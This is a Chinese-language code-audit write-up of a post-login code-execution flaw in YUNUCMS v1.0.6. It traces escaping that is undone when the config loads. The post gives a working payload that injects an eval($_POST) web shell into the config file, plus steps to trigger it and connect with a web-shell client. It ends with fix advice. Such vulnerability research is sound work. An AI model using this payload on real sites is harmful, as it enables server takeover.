【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析
0x00 环境准备
QYKCMS官网:http://www.yunucms.com
网站源码版本:YUNUCMSv1.0.6
程序源码下载:http://www.yunucms.com/Download/index.html
测试网站首页:
0x01 代码分析
1、漏洞文件位置:/app/admin/controller/System.php 第8-24行:
- public function basic()
- {
- $coffile = CONF_PATH.DS.'extra'.DS.'sys.php';
- if(request()->isAjax()){
- Config::load($coffile, '', 'sys');
- $conflist = Config::get('','sys');
- $param = input('post.');
- unset($param['file']);
- $param = add_slashes_recursive($param);
- 10.
- 11. $param['site_guide'] = array_key_exists("site_guide", $param) ? 1 : 0;
- 12. $param['site_slide'] = array_key_exists("site_slide", $param) ? 1 : 0;
- 13.
- 14. setConfigfile($coffile, array_merge($conflist, $param));
- 15. return json(['code' => 1, 'data' => '', 'msg' => '更新设置成功']);
- 16. exit();
- 17. }
这段函数将配置参数进行用add_slashes_recursive函数处理,写入配置文件中。也就是利用PHP中的addslashes() 函数返回在预定义字符之前添加反斜杠的字符串,我们再看看看其他地方:
2、漏洞文件位置:/app/admin/controller/Common.php 第75-77行:
- foreach (config('sys') as $k => $v) {
- config('sys.'.$k, strip_slashes_recursive($v));
- }
这段代码放在公共类里面,在加载配置文件的时候,将addslashes添加的反斜杠进行还原。形成类似二次注入的情况,可以将单引号引入配置文件闭合前面的单引号。
综上,代码在实现上过滤不严谨,导致攻击者可以构造脚本代码写入配置文件,从而导致程序在实现上存在代码执行漏洞,攻击者可利用该漏洞获取敏感信息。最后控制网站服务器权限。
0x02 漏洞利用
1、登录后台--常用菜单--基础设置--网站名称--填写Payload:
Payload:',1=>eval($_POST[g]),'xx'=>'
2、写入成功后,配置文件中存储的是被转义过的代码,我们需要进行二次更新。
3、在网站后台--WAP设置--基本设置--点击提交即可完成配置文件更新。单引号成功闭合前面,构造的脚本代码写入配置文件中。
4、通过直接访问脚本文件,触发脚本代码:
5、通过菜刀连接,成功控制网站服务器
0x03 修复建议
1、写入配置文件前,对特殊字符(如<、>等)进行htmlencode处理;
2、全局配置可考虑写入数据库进行调用。
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。
【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析相关推荐
- ecshop 解密index.php,ECShop 2.x 3.0代码执行漏洞分析
0x00 前言 ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店.2.x版本跟3.0版本存在代码执行漏洞. 0x01 漏洞原理 ECShop 没有对 $GLOBAL['_SE ...
- ThinkPHP 5.0.23 远程代码执行 漏洞复现
ThinkPHP 5.0.23 远程代码执行 漏洞复现 一.漏洞描述 二.漏洞影响 三.漏洞复现 1. 环境搭建 2. 漏洞复现 四.漏洞POC 五.参考链接 六.利用工具 一.漏洞描述 ThinkP ...
- Nette框架未授权任意代码执行漏洞分析
Nette框架未授权任意代码执行漏洞分析 漏洞介绍: Nette Framework 是个强大,基于组件的事件驱动 PHP 框架,用来创建 web 应用.Nette Framework 是个现代化风格 ...
- Joomla远程代码执行漏洞分析小白版(小宇特详解)
Joomla远程代码执行漏洞分析小白版(小宇特详解) 今天看了一下2021陇原战役WP,在看web方向的时候,看到pop链,想了解一下,后来又看到了p师傅在15年的一篇文章,在这里记录一下.这里主要是 ...
- wordpress 5.0.0 远程代码执行漏洞分析cve-2019-8943
近日,wordpress发布一个安全升级补丁,修复了一个WordPress核心中的远程代码执行漏洞.代码修改细节可以参考wordpress团队于Dec 13, 2018提交的代码.据漏洞披露者文中所介 ...
- 【代码审计】DouPHP_v1.3代码执行漏洞分析
0x00 环境准备 DouPHP官网:http://www.douco.com/ 程序源码下载:http://down.douco.com/DouPHP_1.3_Release_20171002. ...
- 【代码审计】CmsEasy_v5.7 代码执行漏洞分析
0x00 环境准备 CmsEasy官网:http://www.cmseasy.cn/ 网站源码版本:CmsEasy_v5.7_UTF8-0208 程序源码下载: http://ftp.cmseas ...
- thinkphp5+远程代码执行_ThinkPHP5 5.0.23 远程代码执行漏洞
漏洞描述 ThinkPHP是一款运用极广的PHP开发框架.其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程 ...
- 代码审计之CVE-2017-6920 Drupal远程代码执行漏洞学习
1.背景介绍: CVE-2017-6920是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core. Drupal介绍:Drupal 是一个由 ...
- php post 漏洞_ThinkPHP5 5.0.23 远程代码执行漏洞
作者介绍:Ice 国科学院安全学员,在国科学习安全课程,也参与在国科学生会安全团队中进行安全实战能力的提升.本次分享主要是针对现在一款运用极广的开发框架ThinkPHP的远程代码执行漏洞研究,希望给大 ...
最新文章
- 屏幕元素属性的控制盒屏幕事件的中止
- MATLAB求解常微分方程
- Word无法使用超链接,提示:“由于本机的限制...”
- 【python-numpy】工具包中np.random.choice()的用法详解及其参考
- Fiddler建好代理后,能连到手机,但手机不能上网了,求破有果
- PHP页面编码声明与用header或meta实现PHP页面编码的区别
- hibernate注解的测试
- php object oriented,PHP学习记录之面向对象(Object-oriented programming,OOP)基础【接口、抽象类、静态方法等】...
- JavaWeb——Get、Post请求中文乱码问题
- HEL上清除Oracle10g clusterware的失败安装
- 2006年年度应用服务器中间件产品评述
- 转载:《TypeScript 中文入门教程》 17、注解
- [MetalKit]37-Using-ARKit-with-Metal使用ARKit与Metal
- 谷歌搜索引擎使用语法大全收集
- 解决Windows Server 2008 System进程占用80端口问题
- 读书笔记:时间与精力管理:拖延症与六种效应
- typo3 网站迁移
- 苹果手机计算机歌曲谱,苹果手机如何用歌曲做铃声
- 一个时代的印记:还记得那些年我们逃课去的网吧
- Jekyll 学习笔记